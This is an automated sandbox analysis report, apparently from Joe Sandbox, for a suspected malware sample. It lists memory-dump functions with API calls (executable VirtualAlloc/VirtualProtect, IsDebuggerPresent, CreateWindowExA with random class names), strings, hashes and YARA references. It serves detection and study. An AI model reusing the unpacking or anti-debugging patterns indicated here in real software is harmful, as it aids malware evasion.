Opcode ID: 67dd6e3b5bfa6a72bb1b373b80d566880fca6ae6d5e5f52c2aa9f7b72ac0244f
Instruction ID: bf4520daed013bb9ac1d9483fcd5fd1fa1c016f10ee5f101ab9abec2f5a3b0e4
Opcode Fuzzy Hash: 67dd6e3b5bfa6a72bb1b373b80d566880fca6ae6d5e5f52c2aa9f7b72ac0244f
Instruction Fuzzy Hash: EC219F719003049BDB147FB29D4AB7E36A4AF4174CF24483FF505BA1E2EBBD8940865D

Function 020E0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 020E0533

Strings

d, xrefs: 020E0584
saodkfnosa9uin, xrefs: 020E04DA
0, xrefs: 020E0492
mfoaskdfnoa, xrefs: 020E0520, 020E0523

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 880db7f53b412d9c30d8b9fd6a736c1bb22c464b8e4e3fcbc9ddacd5dff007ee
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 6251F770A08388DEEF11CB98C849BDEBBB26F11708F144158D5457F286C3FA5658CB66

Function 020E05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 020E05EC

Strings

o, xrefs: 020E0600
apfHQ, xrefs: 020E05E2, 020E05E5

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3c0515893867221bde8ab4425b38558756b8542c598919c0b3e5a49b007f2180
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 21011EB0C0525CEEDF11DB98C5183AEBFB6AF41308F148099C4093B251D7B69B98DBA1

Function 004018E3 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 004018F8

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e0ae348e57a1640f56999969388b7f3a75df213f05cb8d9c57eb372c2ca0b7c0
Instruction ID: 0521dfff21353c82e6d8bb3565faade79993b3ce62176af17b15262ef703f01f
Opcode Fuzzy Hash: e0ae348e57a1640f56999969388b7f3a75df213f05cb8d9c57eb372c2ca0b7c0
Instruction Fuzzy Hash: 49D0A7765543099FEB005F70BD097263FDCE784795F11443AB80CC6190F5B4D950C658

Function 004A4AF9 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004A4B0F

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 80cfd3fad95082e6780993ff03abba3a954a7b3543cb466057069dbc5f75cd08
Instruction ID: fc6120e5f8c29d800887ade1f0fae858c54a7ae38f9f56ae3dcdcb0239f94a04
Opcode Fuzzy Hash: 80cfd3fad95082e6780993ff03abba3a954a7b3543cb466057069dbc5f75cd08
Instruction Fuzzy Hash: DCC012B2100108BBDA018B81ED01E493BACA309204B010120AA02A1460C275A900AB68

Function 00733485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007334D6

Memory Dump Source

Source File: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, Offset: 00733000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_733000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 52e9c6cc22ce7a751490e6643a426fd9760fac8afdc0b0724502c3cb45afbbe8
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: AE112B79A00208EFDB01DF98C989E99BBF5AF08351F058094F9489B362D375EA90DB80

Non-executed Functions

Function 00401006 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00401843
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00401858
UnhandledExceptionFilter.KERNEL32(004A51A4), ref: 00401863
GetCurrentProcess.KERNEL32(C0000409), ref: 0040187F
TerminateProcess.KERNEL32(00000000), ref: 00401886

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 313e26b37b6aad3856cce21f4f68d9930ca37da32529b455288ead154de7cfcb
Instruction ID: 77f385502be5376345618d709b9d90bf989298676451deb14fbc0e8ef9620649
Opcode Fuzzy Hash: 313e26b37b6aad3856cce21f4f68d9930ca37da32529b455288ead154de7cfcb
Instruction Fuzzy Hash: 3521C9B8C05244AFD754DF29EE846483FE4FB1A354F90443EE908972B0EBB459868F4E

Function 007330A3 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

50s, xrefs: 007330A9

Memory Dump Source

Source File: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, Offset: 00733000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_733000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID:
String ID: 50s
API String ID: 0-3417040924
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 514c04622e18920a8767a84f63f9a58784a7b5dac383f7db0f237bd0a2cb080a
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: E7117C72340104AFE764DE55DCC1FA673EAEB89320B298065ED08CB312DA7AE942C760

Function 0073471C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, Offset: 00733000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_733000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 3e06e1944584e0b45dfaab19c9d52f5033de20becaf367496b62cd84e33b5915
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 78316739806285DFEB19CE70D891AB5BB71EF87324F18869DC0C18B107E32AA04BC794

Function 020E0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 98231aa60df55ea364d5758a9cdfc2ec55805cdc51c22baa74ab5abef6f36620
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B4118E72340200AFEB54DF65DCD0FA673EAFB88320B198165ED09DB311D6B6E841CB60

Function 02106437 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0210644E

Part of subcall function 02109636: __calloc_impl.LIBCMT ref: 02109645

__calloc_crt.LIBCMT ref: 02106472
_free.LIBCMT ref: 02106480
__calloc_crt.LIBCMT ref: 0210648E
_free.LIBCMT ref: 0210649E
_free.LIBCMT ref: 021064A4
__copytlocinfo_nolock.LIBCMT ref: 021064B3
__setmbcp_nolock.LIBCMT ref: 021064D4
_free.LIBCMT ref: 021064E2
___removelocaleref.LIBCMT ref: 021064E9
___freetlocinfo.LIBCMT ref: 021064F0
_free.LIBCMT ref: 021064F6

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 28aa02ef8dee770d83a1440de1e67e45ce65cb7e92279c60145f34c624ccfb13
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 2621A4311C4680BEE7257FA5DC81E0F7BEAEF41750B518029F499990E4EBE29960CF51

Function 02103F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02103F51

Part of subcall function 02105BA8: __getptd_noexit.LIBCMT ref: 02105BA8

__gmtime64_s.LIBCMT ref: 02103FEA
__gmtime64_s.LIBCMT ref: 02104020
__gmtime64_s.LIBCMT ref: 0210403D
__allrem.LIBCMT ref: 02104093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 021040AF
__allrem.LIBCMT ref: 021040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 021040E4
__allrem.LIBCMT ref: 021040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02104119
__invoke_watson.LIBCMT ref: 0210418A

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: deb4e35954e2e7474de36a154840e089dbbaaab3ea6386b38fc82c14af64d06f
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: FC71DA71A80716AFE7149E79CCC1B6AB3BAAF14364F144179F924E76C0E7B0E9408B91

Function 0210650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02106547
__calloc_crt.LIBCMT ref: 02106598
__lock.LIBCMT ref: 021065AE
__copytlocinfo_nolock.LIBCMT ref: 021065BF
_wcscmp.LIBCMT ref: 021065F9
__lock.LIBCMT ref: 02106610
__updatetlocinfoEx_nolock.LIBCMT ref: 02106622
___removelocaleref.LIBCMT ref: 02106628
__updatetlocinfoEx_nolock.LIBCMT ref: 02106647

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 7bb4187e9f29af03d65e592bdf719ed2baee9c31ec693d689ac005ddb6857606
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 17411532984348AFDB00AFE4D9C079E3BEABF04314F10842DEA14961D1DBF69655DF91

Function 021084AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 021084B1
_free.LIBCMT ref: 021084E2
_free.LIBCMT ref: 021084F5
_free.LIBCMT ref: 02108513
_free.LIBCMT ref: 02108525
_free.LIBCMT ref: 02108536
_free.LIBCMT ref: 02108541
_free.LIBCMT ref: 02108565
_free.LIBCMT ref: 02108581
_free.LIBCMT ref: 02108597
_free.LIBCMT ref: 021085BF

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: eb9e6a1f239d58cc401d3f0ef37301066fe76380bc2e810a1aec42134932e809
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: C2318431944250EFCB216F54FCC494D77B6FB15324705862AED09AB2E0CBF459C9AF94

Function 0212FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0212FC1F

Part of subcall function 0211169C: std::exception::_Copy_str.LIBCMT ref: 021116B5

__CxxThrowException@8.LIBCMT ref: 0212FC34
std::exception::exception.LIBCMT ref: 0212FC4D
__CxxThrowException@8.LIBCMT ref: 0212FC62
std::regex_error::regex_error.LIBCPMT ref: 0212FC74

Part of subcall function 0212F914: std::exception::exception.LIBCMT ref: 0212F92E

__CxxThrowException@8.LIBCMT ref: 0212FC82
std::exception::exception.LIBCMT ref: 0212FC9B
__CxxThrowException@8.LIBCMT ref: 0212FCB0

Strings

leM, xrefs: 0212FCA8

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: ca216b422404aa6455e13e30a0158d74e5ea1564cee31c3879f1c7c7d0a0b29e
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: DB11A779C4020DBBCF00FFA5D855CEEBBBDAA04344B408976AA1897645EB74A349CF94

Function 020EF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 020EF01F

Part of subcall function 02101602: __FF_MSGBANNER.LIBCMT ref: 02101619
Part of subcall function 02101602: __NMSG_WRITE.LIBCMT ref: 02101620

_malloc.LIBCMT ref: 020EF02B
_wprintf.LIBCMT ref: 020EF03E
_free.LIBCMT ref: 020EF044
_free.LIBCMT ref: 020EF065
_malloc.LIBCMT ref: 020EF06D
_sprintf.LIBCMT ref: 020EF0C0
_wprintf.LIBCMT ref: 020EF0D2
_wprintf.LIBCMT ref: 020EF0DC
_free.LIBCMT ref: 020EF0E5

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6b2a5be2ecd0cdf1f31e87746ee27e863163e0549003ce66e4c2cd3987513402
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 961105B65406543EC66262F44C55EFF3AED9F46311F04006AFE4DE11C0DB985A049BB1

Function 020F1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 020F19C6
__CxxThrowException@8.LIBCMT ref: 020F19F1
__CxxThrowException@8.LIBCMT ref: 020F1A1A
__CxxThrowException@8.LIBCMT ref: 020F1A4B
_memset.LIBCMT ref: 020F1A6A
__CxxThrowException@8.LIBCMT ref: 020F1A90
_malloc.LIBCMT ref: 020F1AA0
_memset.LIBCMT ref: 020F1AAB
_sprintf.LIBCMT ref: 020F1ACE

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 1b361b5888376afc442386ca27b79458acf635f7b2414ea8a8b7466b25e55456
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 63515A71D80209FBDB51DBA5DC86FEFBBB9FB04704F100025FA09B6180EB746A018BA5

Function 020EF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 020EF284
__CxxThrowException@8.LIBCMT ref: 020EF2AF
__CxxThrowException@8.LIBCMT ref: 020EF2DE
__CxxThrowException@8.LIBCMT ref: 020EF30F
_memset.LIBCMT ref: 020EF32E
__CxxThrowException@8.LIBCMT ref: 020EF354
_sprintf.LIBCMT ref: 020EF373

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 950d0e98bd39b235fbb68163ff7d4e290d0b2798208321fde1eb6402c7fb34e4
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 03515F71D40209FEDF11DFA1DC86FEEBBB9AB04704F104029F906B6580D7B5AA459BA4

Function 020EF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 020EF4B7
__CxxThrowException@8.LIBCMT ref: 020EF4E2
__CxxThrowException@8.LIBCMT ref: 020EF504
__CxxThrowException@8.LIBCMT ref: 020EF535
_memset.LIBCMT ref: 020EF554
__CxxThrowException@8.LIBCMT ref: 020EF57A
_sprintf.LIBCMT ref: 020EF594

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 1897a7f0ab469ef9e35c68b6232839ba1a0bd596d2ad66ff3e9caba61c36f675
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 12514172D40349AEDF21DFA1DC45FEFBBB9EB04704F104129EA06B6580E775AA058BA4

Function 0040398C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00403998

Part of subcall function 0040330E: __getptd_noexit.LIBCMT ref: 00403311
Part of subcall function 0040330E: __amsg_exit.LIBCMT ref: 0040331E

__amsg_exit.LIBCMT ref: 004039B8
__lock.LIBCMT ref: 004039C8
InterlockedDecrement.KERNEL32(?), ref: 004039E5
InterlockedIncrement.KERNEL32(020D1660), ref: 00403A10

Strings

psJ, xrefs: 004039EF

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672718280.0000000000413000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672788691.00000000004A5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672809407.00000000004A7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2672834005.00000000004B8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: psJ
API String ID: 4271482742-967521273
Opcode ID: f34a0bde194e30490b4586d2f4585c68c597c4face1b8f544ea13d29bb067f45
Instruction ID: c69ef31ce1ad5a47aed47af2125ec50191bb3060e3ef6ecb00e80176e56692ae
Opcode Fuzzy Hash: f34a0bde194e30490b4586d2f4585c68c597c4face1b8f544ea13d29bb067f45
Instruction Fuzzy Hash: DF01E172E05611EBC720AF26990A35E7FA4AB01715F05013BE804B32D1CBBC6A40DBDD

Function 0212208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 021220C6
__invoke_watson.LIBCMT ref: 02122120
_strlen.LIBCMT ref: 021220D4

Part of subcall function 02105BA8: __getptd_noexit.LIBCMT ref: 02105BA8

_strnlen.LIBCMT ref: 0212215F
__lock.LIBCMT ref: 02122170
__getenv_helper_nolock.LIBCMT ref: 0212217B

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 2d4d3b861dd04fc237bca7d69da14002ae7a97fb8f3180119c4632fc41e8a448
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 63313932AC0235AFDB216B64DC80BAE3796AF05B24F214015FD14EB2C4DBB88515CFA5

Function 020FA810 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 020FA858
_memset.LIBCMT ref: 020FA869
_memset.LIBCMT ref: 020FA87A

Strings

ocal\Temp, xrefs: 020FA875
p2Q, xrefs: 020FA882

Memory Dump Source

Source File: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20e0000_8G7TUoanzGVBa0kCulY_TPPa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: ocal\Temp$p2Q
API String ID: 2102423945-2017193834
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: b1352c652814bd9ec5012ffc8e8f520a3987aef3ef23fc7898ffc511345711fd
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: D0F0ED786D8755A9F7217750BC66B857E917B31B0CF104088E1182E2E1D3FE238CA79A

Function 00401015 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00401033

Part of subcall function 00401A8F: __mtinitlocknum.LIBCMT ref: 00401AA5
Part of subcall function 00401A8F: __amsg_exit.LIBCMT ref: 00401AB1
Part of subcall function 00401A8F: EnterCriticalSection.KERNEL32(?,?,?,004027FD,00000004,004A6428,0000000C,004010BD,?,?,00000000), ref: 00401AB9

___sbh_find_block.LIBCMT ref: 0040103E
___sbh_free_block.LIBCMT ref: 0040104D
HeapFree.KERNEL32(00000000,?,004A6380,0000000C,004032FF,00000000,?,004035F5,?,00000001,?,?,00401A19,00000018,004A6408,0000000C), ref: 0040107D
GetLastError.KERNEL32(?,004035F5,?,00000001,?,?,00401A19,00000018,004A6408,0000000C,00401AAA,?,?,?,004027FD,00000004), ref: 0040108E

Memory Dump Source

Source File: 00000009.00000002.2672718280.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2672697101.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
